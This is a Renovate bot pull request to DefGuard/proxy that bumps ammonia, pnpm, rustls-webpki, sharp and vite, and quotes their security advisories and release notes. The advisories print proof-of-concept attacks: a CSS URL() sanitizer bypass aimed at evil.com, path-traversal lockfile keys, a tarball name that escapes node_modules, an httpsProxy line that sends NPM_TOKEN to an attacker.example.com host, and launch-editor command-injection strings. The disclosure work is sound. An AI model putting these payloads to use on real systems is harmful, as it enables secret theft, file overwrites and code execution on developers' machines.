Security patches (stable/2.x) by renovate[bot] · Pull Request #392 · DefGuard/proxy

renovate · 2026-09-02T20:50:20Z

Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package	Type	Update	Change
ammonia	dependencies	patch	`4.1.7` → `4.1.8`
pnpm (source)	packageManager	minor	`11.9.0` → `11.11.0`
rustls-webpki	dependencies	patch	`0.103.15` → `0.103.16`
sharp (source, changelog)	devDependencies	patch	`0.35.3` → `0.35.5`
vite (source)	devDependencies	patch	`7.3.5` → `7.3.7`

Missing case-insensitive matching for CSS url function

GHSA-x43w-36pp-96g3 / RUSTSEC-2026-0373

More information

Details

URL filtering, such as relative URLs and URL scheme limits,
is not always applied when CSS sanitization is used.

When the inner URL is quoted, CSS url("") is matched case-sensitively,
when it should be matched case-insensitively.
As a result, while url("") gets the intended domain name filtering,
URL("") does not.

The following example shows how an application needs to be configured
to trigger this bug.

let mut builder = Builder::new();
// allow inline styles
builder.filter_style_properties(hashset!["background-image"]);
builder.add_generic_attributes(&["style"]);
// notice that "http" URLs aren't allowed
builder.url_schemes(["cid"].into());

// attacker-controlled, presumably
let cleaned = builder.clean(r#"<div style='background:URL("https://evil.com/ping");'>"#);

// this is the expected result
assert_eq!(String::from(&cleaned), r#"<div style="">ok</p>"#);

// this is the result that the vulnerable version actually gets
assert_eq!(String::from(&cleaned), r#"<div style="background-image:URL(&quot;https://evil.com/ping&quot;);">ok</p>"#);

This can be used to inject tracking pixels where the application intended to prevent them.
It does not allow XSS, and its usefulness for data exfiltration is limited.

This vulnerability was reported by Louis Li.

Severity

Unknown

References

This data is provided by OSV and the Rust Advisory Database (CC0 1.0).

pnpm: Virtual store linker path traversal via unvalidated depPath name in lockfileToDepGraph

CVE-2026-82392 / GHSA-c59q-g84q-2gj5

More information

Details

Summary

The virtual store linker constructs package installation directories using path.join(modules, pkgName) where pkgName is extracted from lockfile packages keys via dp.parse(depPath).name without validation. A crafted pnpm-lock.yaml with traversal sequences in depPath keys (e.g., ../../../tmp/pwned@1.0.0) causes package content to be written to arbitrary filesystem paths during pnpm install.

This is an incomplete fix of GHSA-fr4h-3cph-29xv — the safeJoinModulesDir containment helper was applied to the hoisted linker and symlinkDependency but NOT to the virtual store linker's lockfileToDepGraph.ts:233.

Details

Root Cause

dp.parse() at pnpm11/deps/path/src/index.ts:135 extracts the package name as:

const name = dependencyPath.substring(0, sepIndex)

This is a raw substring operation with zero validation that name is a valid npm package name. A depPath of ../../../tmp/pwned@1.0.0 yields name = '../../../tmp/pwned'.

Vulnerable Code Path

pnpm-lock.yaml → lockfile.packages['../../../../../../../tmp/pwned@1.0.0'] (attacker-controlled lockfile key)
nameVerFromPkgSnapshot(depPath, pkgSnapshot) at lockfile/utils/src/nameVerFromPkgSnapshot.ts:16 → calls dp.parse(depPath) → returns { name: '../../../../../../../tmp/pwned' }
lockfileToDepGraph.ts:232 → modules = path.join(dirInVirtualStore, 'node_modules')
lockfileToDepGraph.ts:233 → dir = path.join(modules, pkgName) → resolves to /tmp/pwned (ESCAPES virtual store)
storeController.importPackage(depNode.dir, ...) → writes package content to the traversed path

Why Existing Defenses Don't Catch It

depPathToFilename() — replaces / with + for the dirInVirtualStore path, but pkgName comes SEPARATELY from dp.parse() and is NOT passed through this function
verifyLockfileResolutions() — validates dependency map keys (aliases) via isValidDependencyAlias(), but never validates the depPath keys themselves
Lockfile parser — yaml.load(lockfileRawContent) with no schema validation on packages keys
importPackage() — accepts targetDir and passes it directly to cafsStore.importPackage(targetDir, ...) with zero containment check
Integrity verification — requires a real fetchable package but does not validate the destination path

Escalation to RCE (non-default config)

When dangerouslyAllowAllBuilds: true is configured (or the traversal package name is in the explicit allowBuilds list), the same traversed path is used in the rebuild phase at after-install/src/index.ts:402,470. The attacker's postinstall script then executes with the victim's shell access. Under default config, allowBuild returns false for unknown packages, limiting impact to arbitrary file write.

Also Affected (PnP linker)

When nodeLinker: pnp is configured, lockfileToPackageRegistry() at lockfile/to-pnp/src/index.ts:105-110 uses the same unvalidated dp.parse().name in packageLocation construction, allowing the .pnp.cjs resolver map to point outside the virtual store. This is a lower-impact variant (PnP is not the default linker).

Impact

An attacker who can commit a crafted pnpm-lock.yaml to a repository (or supply one via a malicious package) can cause arbitrary file writes on the machine of any user who runs pnpm install. Written content is the actual package files from a real npm package (attacker controls which package and which destination).

Targets for arbitrary file write include:

.git/hooks/pre-commit — code execution on next git operation
~/.local/bin/ — binary hijacking
Project source files — supply chain injection

Reproduction

Craft a pnpm-lock.yaml:

lockfileVersion: '9.0'
packages:
  ../../../../../../../tmp/pwned@1.0.0:
    resolution: {integrity: sha512-<real-package-integrity>}
    engines: {node: '>=14'}
snapshots:
  ../../../../../../../tmp/pwned@1.0.0: {}
importers:
  .:
    dependencies:
      legitimate-name:
        specifier: ^1.0.0
        version: ../../../../../../../tmp/pwned@1.0.0

Run pnpm install — package content is written to /tmp/pwned/ instead of the virtual store.

Recommended Fix

Apply safeJoinModulesDir (or equivalent validation) at:

lockfileToDepGraph.ts:233 — path.join(modules, pkgName)
after-install/src/index.ts:402 — path.join(pkgModulesDir(depPath), pkgInfo.name)
lockfile/to-pnp/src/index.ts:105-110 — PnP packageLocation

Alternatively, validate depPath keys during lockfile parsing to reject any that don't produce valid npm package names via dp.parse().

Relationship to GHSA-fr4h-3cph-29xv

GHSA-fr4h-3cph-29xv fixed the hoisted linker path (lockfileToHoistedDepGraph.ts:222) by adding safeJoinModulesDir. The same fix was NOT applied to the virtual store linker, which uses the identical dp.parse().name → path.join() pattern at lockfileToDepGraph.ts:233.

Severity

CVSS Score: 7.1 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

pnpm: A tarball dependency's manifest `name` escapes node_modules → arbitrary file write/overwrite on install

CVE-2026-82393 / GHSA-vq4v-j7r6-jq4m

More information

Details

Summary

When resolving a package, pnpm uses the resolved manifest name as a raw path segment for the isolated-linker import target. A tarball dependency whose package.json name is a scoped path traversal (@x/../../…/<abs path>) is therefore extracted outside node_modules, to an attacker-chosen absolute path, and can overwrite existing files there. Attacker controls the destination, filenames, and contents → arbitrary file write → code execution (e.g. ~/.zshrc, .git/hooks/pre-commit, another package's code). Occurs during pnpm install even with --ignore-scripts (no lifecycle scripts run), defeating that safety.

Same class as the just-patched GHSA-hwx4 (transitive-dependency alias traversal) and GHSA-v23m (stage download manifest name/version traversal), in a sink their fixes did not cover: the isolated-linker import target keyed by the resolved name.

Root cause

The isolated-linker import target is built with a raw path.join(modules, <resolved name>) in installing/deps-resolver/src/resolvePeers.ts:706, installing/deps-resolver/src/index.ts:614, and deps/graph-builder/src/lockfileToDepGraph.ts:233 — without the safeJoinModulesDir guard used on the symlink/hoisted/bin paths (installing/deps-restorer/src/lockfileToHoistedDepGraph.ts:222). The store location is node_modules/.pnpm/<id>/node_modules/<name>, so a traversal <name> escapes.
The only resolve-time name gate (resolving/npm-resolver/src/pickPackage.ts:753) rejects only unscoped names containing /, so a scoped @x/../.. passes.

Steps to reproduce

Self-contained PoC (real pnpm@11.9.0; loopback tarball server; escape target is a throwaway temp dir):

npm i pnpm@11.9.0

##### host a tarball whose package.json name = "@x/"+"../".repeat(25)+"<abs>/OUTSIDE"; victim depends on the http URL
pnpm install --ignore-scripts

Confirmed output (repro/poc.mjs, exit 0):

escape dir is outside the project        : true
new file implanted outside node_modules  : true
pre-existing file OVERWRITTEN            : true
*** CONFIRMED: a tarball dependency wrote & overwrote files OUTSIDE the project during `pnpm install --ignore-scripts` ***

Remediation

Route the isolated-linker import-target joins (resolvePeers.ts:706, deps-resolver/index.ts:614, lockfileToDepGraph.ts:233) through safeJoinModulesDir (as the hoisted linker already does), and/or enforce validate-npm-package-name on the resolved manifest name (close the scoped-name gap at pickPackage.ts:753) so the import target rejects a traversal name and re-asserts containment before any write.

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

pnpm: Environment secrets exfiltrated via env-placeholder expansion in proxy settings read from an untrusted pnpm-workspace.yaml

CVE-2026-101043 / GHSA-vx52-2968-3vc6

More information

Details

Summary

pnpm expands ${VAR} environment placeholders in the httpProxy / httpsProxy / noProxy settings read from a project's pnpm-workspace.yaml. Because a project manifest is repository-controlled, a malicious repository that a victim merely clones and runs pnpm install in can route all install traffic through an attacker proxy whose hostname or userinfo embeds — and thereby exfiltrates — an environment secret such as NPM_TOKEN or GITHUB_TOKEN.

This bypasses a trust boundary pnpm deliberately enforces: env-placeholder expansion of request-destination settings is already suppressed for registry, pnprServer, registries and namedRegistries when they come from an untrusted project manifest, and the sibling .npmrc reader already classifies the proxy keys as request destinations. The manifest-side guard set simply omitted them.

Impact

An attacker who controls only the contents of a repository's pnpm-workspace.yaml — a public repo, a fork, or a supply-chain pull request — can read many values out of the victim's process environment and have them delivered to an attacker-controlled host. No pre-existing access to the victim's store, global config, lockfile, node_modules, or environment is required. The secret is exfiltrated during config loading, before any lifecycle script runs.

This turns "I can author a project manifest" into "I read the victim's environment secrets."

Affected versions

Introduced in pnpm 10.7.0, which added environment-variable expansion in setting names and values.

pnpm 11.x: >= 11.0.0, < 11.11.0
pnpm 10.x: >= 10.7.0, < 10.34.5

The Rust port (pacquet) and the registry server (pnpr) are not affected.

Patches

pnpm 11.11.0 and later
pnpm 10.34.5 and later

The fix adds httpProxy, httpsProxy, noProxy, proxy and noproxy to the request-destination key set in @pnpm/config.reader (src/getOptionsFromRootManifest.ts), so env placeholders in proxy settings from an untrusted manifest are dropped rather than expanded — matching the existing registry / pnprServer handling and the .npmrc reader's isRequestDestinationValueKey. Regression tests cover the proxy keys.

Workarounds

Upgrade to a patched version. Until then, do not run pnpm commands in an untrusted repository in an environment that holds secrets, or inspect the repository's pnpm-workspace.yaml for proxy settings before installing.

Proof of concept

##### pnpm-workspace.yaml in an untrusted repository
packages:
  - .
httpsProxy: "http://${NPM_TOKEN}.collector.attacker.example.com:8080"

With NPM_TOKEN set in the victim's environment, pnpm install expands the placeholder and routes install traffic through the attacker's host, whose hostname (and DNS query) carries the token.

Unit level:

process.env.PNPM_TEST_TOKEN = 'secret'
const o = getOptionsFromPnpmSettings(process.cwd(), { httpsProxy: 'http://${PNPM_TEST_TOKEN}.evil/' })
// Vulnerable: o.httpsProxy === 'http://secret.evil/'
// Patched:    o.httpsProxy === undefined

Using registry or pnprServer in place of httpsProxy does not leak on either version — those keys were already guarded, which is what made the proxy keys a hole in an existing boundary rather than an unguarded surface.

Credit

Reported privately. A second finding in the original report — the Authorization header being retained across a same-host https -> http redirect — was assessed and is not treated as a pnpm vulnerability: npm (make-fetch-happen, minipass-fetch), Yarn (got) and reqwest all compare host rather than origin, and a registry that redirects from HTTPS to plaintext HTTP is itself the broken component. That behavior is being discussed publicly at https://github.com/orgs/pnpm/discussions/13598.

Severity

CVSS Score: 7.4 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Certificate verification may accept distrusted intermediates

CVE-2026-111943 / GO-2026-6809 / RUSTSEC-2026-0381 / RUSTSEC-2026-0382 / RUSTSEC-2026-0383

More information

Details

Affected versions may accept certificate paths containing distrusted emSign
intermediate public keys when the configured trust anchors allow such paths.
The private keys corresponding to these intermediates are now well known.

Versions 0.103.16 and 0.104.0-alpha.8 reject paths containing these public keys.

Severity

Unknown

References

This data is provided by OSV and the Rust Advisory Database (CC0 1.0).

sharp: Vulnerabilities in libheif: GHSA-g89c-p67h-r497 and GHSA-2jg2-4ch7-h545

GHSA-rgj7-g3m4-5g8c

More information

Details

Impact

A number of vulnerabilities, two rated as "Critical" severity using CVSSv3, have been discovered and fixed in the upstream libheif dependency. These can lead to possible remote code execution (RCE) on glibc-based Linux when run under certain conditions.

The attack vector for these claims to be "network" however sharp does not provide any networking features so this vulnerability is down-rated to a "High" severity using CVSSv4 but please note its Subsequent System Impact.

Those processing untrusted input with versions of sharp prior to 0.35.4 are affected.

Patches

Using prebuilt binaries provided by sharp?

Most people rely on the prebuilt binaries provided by sharp.

Please upgrade sharp to the latest version, currently 0.35.4, which provides libheif 1.23.2.

Using a globally-installed libheif?

Please ensure you are using the latest libheif 1.23.2.

Workarounds

Add the following to your code to prevent sharp from decoding AVIF images.

sharp.block({ operation: ["VipsForeignLoadHeif"] });

Ensure you are using a node executable binary compiled as a Position Independent Executable (PIE). Most Linux package managers already do this for protection against RCE however be warned that the "official" Node.js binaries do not.

References

Severity

CVSS Score: 8.9 / 10 (High)
Vector String: CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

sharp : Vulnerability in librsvg dependency CVE-2026-96889

GHSA-wq5f-xc86-pv6w

More information

Details

Impact

A memory-related vulnerability has been discovered and fixed in the upstream librsvg dependency. When certain runtime-specific conditions apply, this vulnerability can lead to possible remote code execution (RCE) on glibc-based Linux.

Patches

Using prebuilt binaries provided by sharp?

Most people rely on the prebuilt binaries provided by sharp.

Please upgrade sharp to the latest version, currently 0.35.5, which provides librsvg 2.63.2.

Using a globally-installed librsvg?

Please ensure you are using the latest librsvg 2.63.2.

Workarounds

Add the following to your code to prevent sharp from decoding SVG images.

sharp.block({ operation: ["VipsForeignLoadSvg"] });

To avoid RCE, ensure you are using a node executable binary compiled as a Position Independent Executable (PIE). Most Linux package managers already use this security-hardening feature however be warned that the "official" Node.js binaries do not.
1

Severity

CVSS Score: 8.9 / 10 (High)
Vector String: CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

launch-editor: `fs.existsSync()` existence check can be bypassed on Windows

CVE-2026-112942 / GHSA-587h-7wmj-h5pm

More information

Details

Summary

launch-editor checked fs.existsSync(fileName) before passing a supplied path to an editor command. On Windows, an attacker can bypass this check with a crafted path ending in \\..:line:column. This removes the requirement that the attacker be able to place a file with a malicious filename.

Combined with the % escaping issue described in GHSA-698v-4r3x-3vcv, this bypass can lead to OS command injection when an attacker controls the file argument.

Impact

Only apps that runs on Windows is affected.

Details

The earlier advisory assumed that fs.existsSync() required an attacker-controlled filename to exist. This advisory covers a bypass of that requirement.

A crafted value ending in \\..:1:1 is interpreted differently by launch-editor-middleware, launch-editor, and Windows:

launch-editor-middleware calls path.resolve() while the final path component is ..:1:1, so it is not treated as a parent-directory component.
launch-editor treats :1:1 as a line-and-column suffix and removes it, leaving a path ending in \\...
On Windows, fs.existsSync() accepts the resulting path as the existing parent directory even though the attacker-controlled preceding component does not exist.
Because the existence check passes, the crafted filename reaches the Windows shell command.

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

launch-editor: escapeCmdArgs() omits % escaping on Windows

CVE-2026-112943 / GHSA-698v-4r3x-3vcv

More information

Details

Summary

launch-editor did not escape % on Windows when passing an argument to cmd. When an environment variable contained a malicious value, it was possible that that content to be executed.

Impact

Only apps that match all of the following conditions are affected:

The user uses Windows
An attacker can place a file with the malicious filename containing & or %
Either of
- An attacker can inject an environment variable with a malicious value
- An attacker can add a NTFS alternate data stream to the file placed

Details

Unlike .sh files, .bat / .cmd files on Windows cannot be called directly using child_process.spawn and requires passing them as an argument of cmd.exe. To do so, launch-editor escapes the arguments passed to cmd.exe. But launch-editor did not escape % which is used for environment variables.

Because launch-editor checks if the argument matches an existing filename, the attack requires the attacker to be able to place a file.

If the attacker can inject an environment variable as well, they can include the subcommand in the env variable (e.g. set &calc.exe to %ENV%) and call launchEditor with something%ENV%.
If the attacker can place a NTFS alternate data stream to the file (e.g. a NTFS alternate data stream named ~-38%calc.exe), they can call launchEditor with something %CMDCMDLINE:~-38%calc.exe.
If the attacker can create a filename containing the %CD% and the subcommand (e.g. &calc.exe ), they can call launchEditor with ./%CD%

Severity

CVSS Score: 6.3 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

launch-editor: Editor CLI flag misinterpretation causing arbitrary command execution for some editors

CVE-2026-112944 / GHSA-r825-w8mm-5pxw

More information

Details

Summary

launch-editor forwarded file paths directly to editors without sanitization. If a path resembles a CLI flag, editors like Vim may interpret it as a command, potentially causing unintended file overwrites or command execution.

Impact

Direct `launch-editor` users

Only apps that match all of the following conditions are affected:

The attacker is able to create a file system entry (e.g. a file or directory) starting with + or - in the working directory
The user uses or the app specifies any of the following editors:
- Vim (including gVim)
- MacVim
- Emacs (including Emacsclient)
- Notepad++ (only if using a plugin exposing dangerous operations via plugin messages)
The first argument of launchEditor can start with + or - or the user is using WSL

`launch-editor-middleware` users

Only apps that match the following conditions are affected:

The attacker is able to create a file system entry (e.g. a file or directory) starting with + or - in the working directory
The user uses or the app specifies any of the following editors:
- Vim (including gVim)
- MacVim
- Emacs (including Emacsclient)
- Notepad++ (only if using a plugin exposing dangerous operations via plugin messages)
launch-editor older than v2.2.0 is used, or the user is using WSL

Vite users

Only apps that match the following conditions are affected:

The attacker is able to create a file system entry (e.g. a file or directory) starting with + or - in the working directory
The user uses or the app specifies any of the following editors:
- Vim (including gVim)
- MacVim
- Emacs (including Emacsclient)
- Notepad++ (only if using a plugin exposing dangerous operations via plugin messages)
The user is using WSL

Details

launchEditor(file) function passes the file name as-is to the editor if the file with that file name exists. If the file name starts with - (also + for Vim), the editor treats them as flags rather than positional arguments. For example, Vim treats arguments starting with + as an Ex command. As a result, an existing relative directory such as:

+call writefile(["SAFE_MARKER"],"LAUNCH_EDITOR_MARKER")|qa!

is not treated as a filename when passed to Vim. Vim executes the embedded Ex command.

The following editor has a potentially destructive operation exposed to the CLI arguments:

Vim (including gVim)
MacVim
Emacs (including Emacsclient)
Notepad++ (only if using a plugin exposing dangerous operations via plugin messages)

launch-editor-middleware v2.2.0+ converts the passed file path to an absolute path so those are not affected as long as the user is not using WSL. For WSL, launch-editor converts the paths to relative paths internally, so those are still affected.

Vite 2.0.0+ uses launch-editor-middleware v2.2.0+ so the WSL users are only affected.

Severity

CVSS Score: 6.3 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Release Notes

rust-ammonia/ammonia (ammonia)

`v4.1.8`: 4.1.8

Compare Source

Security fix: Match CSS url() case-insensitively. This bug
was reported by Louis Li.

pnpm/pnpm (pnpm)

`v11.11.0`: pnpm 11.11

Compare Source

Minor Changes

508b8c2: Added the pnpm access command for managing package access and visibility on the registry, supporting listing packages and collaborators, getting and setting package status and MFA requirements, and granting or revoking team access.

Patch Changes

c70e33e: Allow allowBuilds entries for git-hosted packages to match by repository URL without pinning the resolved commit hash. This lets trusted git repositories keep running their build scripts after branch updates without approving each new commit, while package-name-only rules still do not approve git-hosted artifacts.
3067e4f: Reduced peak memory usage during cold-cache dependency resolution. The metadata fetch is memoized for the whole resolution phase, and it was retaining each package's raw registry response body (used only to mirror the response to disk) for that entire time. The memoized cache now holds a body-less copy, so the raw body only lives as long as the call that writes the disk mirror. On large graphs that fetch full metadata (e.g. with minimumReleaseAge or trustPolicy enabled) this cuts peak RSS by roughly 30%, back in line with pnpm 10. The resolved lockfile is unchanged.
51300fd: Prevent a crafted pnpm-lock.yaml from writing package content outside the virtual store. A dependency path key whose name reconstructs to a path-traversal sequence (e.g. ../../../tmp/x@1.0.0) is now rejected by the isolated (virtual-store) linker and the Plug'n'Play resolver map, matching the containment already applied to the hoisted linker. Under the global virtual store, a traversal in the version-derived path segment (e.g. a snapshot version: "../../x") is now rejected at formatGlobalVirtualStorePath, the single point every global-virtual-store slot path funnels through — closing the same escape in the isolated linker, the resolver's dependency-graph builder, and the config-dependency installer.
f8058eb: Reject symlinked pnpm-lock.yaml files when reading or writing the env lockfile document.
9318a11: Allow registries and namedRegistries to be configured in the global config.yaml file.
51300fd: Fixed a path traversal vulnerability where a dependency whose manifest name was a scoped path traversal (e.g. @x/../../../<path>) could be written outside node_modules to an attacker-controlled location during pnpm install, even with --ignore-scripts. The isolated linker now validates the package name before using it as a directory name, matching the existing protection in the hoisted linker.
14332f0: Fail instead of silently removing an optional dependency's locked entries from pnpm-lock.yaml when the registry cannot resolve it. Previously, when registry metadata lacked a version that the lockfile already pinned (for example, a mirror that had not synced a recent release yet), pnpm install and pnpm dedupe silently dropped the optional dependency's entries — emptying maps such as the platform binaries of @napi-rs/canvas — so the lockfile differed between machines and frozen installs on other hosts had nothing to link #12853.
fecfe83: Fixed peer dependency resolution with autoInstallPeers when a workspace package depends on a version of a package that a transitive dependency's self-contained closure also provides for itself. The peer providers that are attached to the root project for reuse are no longer peer-resolved a second time in the root context, so packages inside such a closure no longer get their peers bound to the root project's incompatible version #4993.
5a4daec: ${...} environment-variable placeholders in the httpProxy, httpsProxy, noProxy, proxy, and noproxy settings are no longer expanded when these settings come from a project's pnpm-workspace.yaml. They now receive the same protection already applied to registry, namedRegistries, and pnprServer.
d1da02e: pnpm publish no longer prints credentials when the target registry is configured with inline user:pass@ credentials (e.g. registry=https://user:pass@example.com/). They are now redacted both from the "publishing to registry" line and from the OIDC (trusted publishing) failure messages.
dcfc611: pnpm self-update now honors trustPolicy=no-downgrade. It resolves the target pnpm version against full registry metadata, so it refuses to switch to a version whose supply-chain trust evidence is weaker than an earlier-published one, the same way a regular install does.
a8ad82d: Register the pn alias in generated shell completion scripts.
25bd5c3: Fixed standalone installer downgrades from pnpm v12 to v11.
23996e9: pnpm runtime set <name> <version> now validates its arguments: the name must be node, deno, or bun, and the version must not contain a comma. Previously these were interpolated straight into a pnpm add selector, where an unsupported name or a comma (e.g. node 22,is-positive) could be misread as a list of packages or a local directory and install unintended packages or bins.

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Minor Changes

e2e3c81: Added the issues command as an alias of bugs, so pnpm issues opens the package's bug tracker URL in the browser.
8491f8e: Added the prefix command which prints the current package prefix directory (or global prefix directory if -g / --global is used).
3425e80: Added an _auth setting for configuring registry authentication as a single structured (URL-keyed) value. It can be set in the global pnpm config (config.yaml) or, for CI, via the pnpm_config__auth environment variable. The env form sidesteps the GitHub Actions / bash / zsh limitation that broke the existing pnpm_config_//host/:_authToken=… form (env var names containing /, :, or . are silently dropped). Closes #12314.

The value is keyed by registry URL so each secret is explicitly bound to the host that may receive it. Registry URL keys must use http or https and must not include credentials, query strings, or fragments:
```
export pnpm_config__auth='{"https://registry.npmjs.org":{"@":{"authToken":"npm-token"},"@org":{"authToken":"org-token"}}}'
```
The equivalent in the global config.yaml:
```
_auth:
  https://registry.npmjs.org:
    "@":
      authToken: npm-token
    "@org":
      authToken: org-token
```
Within each registry URL, @ means registry-wide/default credentials and package scopes like @org bind credentials to that scope on the same host. The only supported credential field is authToken (maps to _authToken / bearer auth); the deprecated basicAuth / username + password forms are intentionally not accepted here.

Each entry also infers a trusted registry route: @ routes the default registry (and pnpm add <pkg> resolves there), and @org routes that scope. Because the credential and destination host arrive in one trusted value, repo-controlled pnpm-workspace.yaml or project .npmrc cannot redirect the token to a different host. _auth is honored only from the env var and the global config — it is ignored in a project pnpm-workspace.yaml / .npmrc, so repo-controlled config can never supply registry auth. Precedence: CLI flags (--registry, --@scope:registry) > pnpm_config__auth > global config.yaml _auth > pnpm-workspace.yaml.

Both pnpm_config__auth (lowercase, documented form) and PNPM_CONFIG__AUTH (all-caps, the shell convention some CI runners apply) are honored. If both are set, lowercase wins unless it is empty, in which case uppercase is used. The env var wins over the global config.yaml _auth on a conflicting key. tokenHelper is not supported in _auth. Parsing is strict: a malformed value (bad JSON, wrong shape, invalid registry URL or scope, an unsupported credential field) fails fast with an error rather than being silently dropped.

Pacquet parity note: the pacquet (Rust) port supports the same single credential field as the TS CLI: authToken.
a33eeec: pnpm self-update and packageManager version-switching can now install and link pnpm v12 (the Rust port), published with equal content under both the pnpm and @pnpm/exe names on the next-12 dist-tag. Its native binaries ship as @pnpm/exe.<platform>-<arch> packages, which pnpm's built-in installer links directly — no Node.js launcher, so the command pays no Node startup cost. v12 is initialized exactly like @pnpm/exe, including per-platform global-virtual-store hashing. From v12 onward the install converges on the unscoped pnpm package (the Rust exe) — even when updating from the SEA @pnpm/exe build.
1dd12bd: When resolving through a pnpr install-accelerator server, pnpm no longer forwards its own upstream registry credentials in the resolve request. Only the Authorization header identifying the caller to pnpr is sent. The pnpr server now selects upstream credentials from its own route policy (operator-configured upstream credential aliases), so private dependencies resolve through a pnpr-managed alias the caller is authorized to use, rather than by sending the client's registry tokens to the server.
1e81761: Expose web authentication authUrl and doneUrl in JSON error output when OTP is required in a non-interactive terminal #12724.

Patch Changes

2f389d6: Added the Node.js release team's new signing key (Stewart X Addison, 655F3B5C1FB3FA8D1A0CA6BDE4A7D232B936D2FD) to the embedded Node.js release keys, so runtimes whose SHASUMS256.txt is signed by the new releaser verify successfully.
acbdb94: Fixed shell tab completion not suggesting workspaces after the -F alias for --filter option.
dcabb78: Fixed pnpm up -r <pkg> bumping unrelated packages that have open semver ranges. Previously, any update mutation nullified the lockfile-derived preferredVersions globally, so packages with ^x.y.z ranges could re-resolve to newer compatible versions even though the user only asked to update a specific package. The install layer now always seeds preferredVersions from the lockfile, and caller-supplied preferred versions (such as the vulnerability penalties of pnpm audit --fix) layer on top of the seed instead of replacing it. The targeted package still bumps: the per-resolve updateRequested flag makes the resolver ignore the target's own lockfile pins.

Closes #10662.
d539172: Fixed pnpm pack and pnpm publish failing when prepack generates files that are included in the package and postpack cleans them up.
be6505a: Hardened global package management:
- On Windows, removing or updating a global package now also cleans up th

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renovate Bot added dependencies Pull requests that update a dependency file renovate security labels Sep 2, 2026

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Security patches (stable/2.x) - #392

Security patches (stable/2.x)#392
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renovate Bot commented Sep 2, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

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Missing case-insensitive matching for CSS url function

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pnpm: Virtual store linker path traversal via unvalidated depPath name in lockfileToDepGraph

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Vulnerable Code Path

Why Existing Defenses Don't Catch It

Escalation to RCE (non-default config)

Also Affected (PnP linker)

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Relationship to GHSA-fr4h-3cph-29xv

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pnpm: A tarball dependency's manifest name escapes node_modules → arbitrary file write/overwrite on install

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pnpm: Environment secrets exfiltrated via env-placeholder expansion in proxy settings read from an untrusted pnpm-workspace.yaml

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Certificate verification may accept distrusted intermediates

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sharp: Vulnerabilities in libheif: GHSA-g89c-p67h-r497 and GHSA-2jg2-4ch7-h545

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Using prebuilt binaries provided by sharp?

Using a globally-installed libheif?

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sharp : Vulnerability in librsvg dependency CVE-2026-96889

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Using prebuilt binaries provided by sharp?

Using a globally-installed librsvg?

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launch-editor: fs.existsSync() existence check can be bypassed on Windows

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launch-editor: escapeCmdArgs() omits % escaping on Windows

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launch-editor: Editor CLI flag misinterpretation causing arbitrary command execution for some editors

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pnpm: A tarball dependency's manifest `name` escapes node_modules → arbitrary file write/overwrite on install

launch-editor: `fs.existsSync()` existence check can be bypassed on Windows

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`v4.1.8`: 4.1.8

`v11.11.0`: pnpm 11.11

`v11.10.0`: pnpm 11.10